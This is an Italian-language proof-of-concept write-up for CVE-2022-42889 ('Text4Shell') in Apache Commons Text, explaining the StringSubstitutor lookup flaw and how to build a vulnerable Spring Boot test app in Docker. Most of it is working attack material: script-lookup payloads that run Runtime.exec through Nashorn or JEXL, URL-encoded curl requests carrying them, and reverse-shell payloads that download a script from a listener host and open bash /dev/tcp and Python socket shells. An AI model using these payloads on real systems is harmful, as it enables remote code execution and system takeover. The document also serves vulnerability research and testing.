
CVE-2022-42889 alias Text4Shell ricerca e PoC
PoC per la vulnerabilità scoperta di recente in Apache Commons Text di @pwntester:
La vulnerabilità risiede nell'oggetto interpolatore StringSubstitutor. Un interpolatore viene creato dal metodo StringSubstitutor.createInterpolator() e consente ricerche di stringhe come definite in StringLookupFactory. Ciò può essere utilizzato passando una stringa “${prefix:name}” dove il prefisso è la suddetta ricerca. L'uso delle ricerche “script”, “dns” o “url” permetterebbe a una stringa appositamente creata di eseguire script arbitrari quando passata all'oggetto interpolatore.
Le versioni interessate di Apache Commons Text sono dalla 1.5 alla 1.9. È stato corretto nella versione 1.10.
Per essere sfruttata da remoto, un input controllato dall'attaccante deve essere utilizzato come input per l'interpolazione di StringSubstitutor. In particolare, nei metodi StringSubstitutor.replace() o StringSubstitutor.replaceIn()
A partire da JDK 15 il motore JavaScript Nashorn è stato rimosso: https://openjdk.org/jeps/372. Ma se sono incluse dipendenze di terze parti come JEXL, potrebbe verificarsi RCE in Apache Commons Text (https://twitter.com/pwntester/status/1582321752566161409)
Può essere sfruttato per ottenere RCE.
Motore Nashorn:
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
Se si utilizza JEXL di terze parti:
${script:JEXL:''.getClass().forName('java.lang.Runtime').getRuntime().exec('touch /tmp/pwned')}
Può portare a una ricerca DNS:
${dns:address|commons.apache.org}
Si connette all'URL specificato e tenta di recuperare il contenuto:
${url:UTF-8:https://nvd.nist.gov/vuln/detail/CVE-2022-42889}
Template basato su https://start.spring.io/
mvn clean package -DskipTests
java -jar spring-boot-0.0.1-SNAPSHOT.jar
sudo docker build -t text4shell . -f Dockerfile.Java11
sudo docker run -p 8080:8080 text4shell
sudo docker build -t text4shell . -f Dockerfile.Java19
sudo docker run -p 8080:8080 text4shell
Sono forniti diversi endpoint per testare i diversi vettori di attacco menzionati.

curl http://localhost:8080/poc1


curl http://localhost:8080/poc2


curl http://localhost:8080/poc3

curl http://localhost:8080/message
curl http://localhost:8080/message?text=1

Utilizzando Nashorn:
curl http://localhost:8080/message?text=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime().exec(%27touch%20%2Ftmp%2Ffoo%27)%7D

Utilizzando JEXL:
curl http://localhost:8080/message?text=%24%7Bscript%3AJEXL%3A%27%27.getClass().forName(%27java.lang.Runtime%27).getRuntime().exec(%27touch%20%2Ftmp%2Fpwned%27)%7D


Per semplicità sto usando l'interfaccia Docker predefinita per l'ascolto netcat. Curiosando, ho trovato questi payload con reverse shell bash e python che funzionano bene:
${script:javascript:java.lang.Runtime.getRuntime().exec('curl -s http://172.17.0.1:3333/rev.sh -o /tmp/rev.sh')}
${script:javascript:java.lang.Runtime.getRuntime().exec('bash /tmp/rev.sh')}
Dove rev.sh viene servito con questi possibili contenuti:
bash -i >& /dev/tcp/172.17.0.1/5555 0>&1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1,5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

